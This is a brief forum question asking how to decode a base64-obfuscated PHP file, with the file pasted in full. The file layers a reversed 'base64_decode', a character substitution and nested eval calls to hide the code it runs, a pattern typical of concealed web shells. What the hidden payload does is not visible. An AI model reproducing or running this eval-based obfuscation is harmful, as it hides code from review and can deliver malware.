phpmadman

I have been trying to decode using base64 but was unsucessful. What is the proper way to decode base64. Here is the file I am trying to decode. <?php $_F=__FILE__;$_X='P0Q+P1lUWQ0gdSoJdElySy1JeEtjWXctS31Hb3pZVFkJKnUNIElySUljdkdfSXd9S3coKTsNIA0gY0d4MXQucigndElySy1JeEtjWXctSVR9S3IuemNHeHpZVFknKTsNIA0gJC5zLUR9Li5fS31Hb2NHaigkX008TmgzJ2NCfWpyYy4nUiw2JF9NPE5oMyd9MXN0QmMuJ1IsNiRfTTxOaDMnS31Hb0p9MXRyJ1IpOw0gDSANID9E';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCd1VzVQOFZrb2xjSFFTWHkyRm0gNFJ0Cnc8MGhiM11nSmpwRTZNZjc9VT5LTGlBR3hhMXo5WmRldltuTy5zWVRESU57Q31CcXIvJywnL0QwNTN4Mms5aVZNezdacTRHCkpddUF0T0JUNltFSHZnS1ggUH04akw8cj15MW5jUWwuTndXVW9SSUZkYnBoPnNTWXphbUNlZicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>